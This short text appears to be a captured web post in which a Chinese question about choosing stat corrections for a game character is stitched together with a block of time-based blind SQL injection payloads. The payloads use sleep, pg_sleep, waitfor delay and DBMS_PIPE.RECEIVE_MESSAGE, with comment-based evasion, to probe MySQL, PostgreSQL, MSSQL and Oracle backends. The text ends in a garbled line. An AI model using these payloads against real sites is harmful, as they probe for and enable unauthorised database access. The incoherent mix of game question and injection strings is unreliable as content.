负敏男鬼到底选什么修正？

'and(select*from(select+sleep(2))a/**/union/**/select+1)='

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

'/**/and(select'1'from/**/pg_sleep(0))>'0

'/**/and(select'1'from/**/pg_sleep(2))>'0

'and(select+1)>0waitfor/**/delay'0:0:0

'and(select+1)>0waitfor/**/delay'0:0:2

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('z',0)='z

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',2)='l

什么男魔休正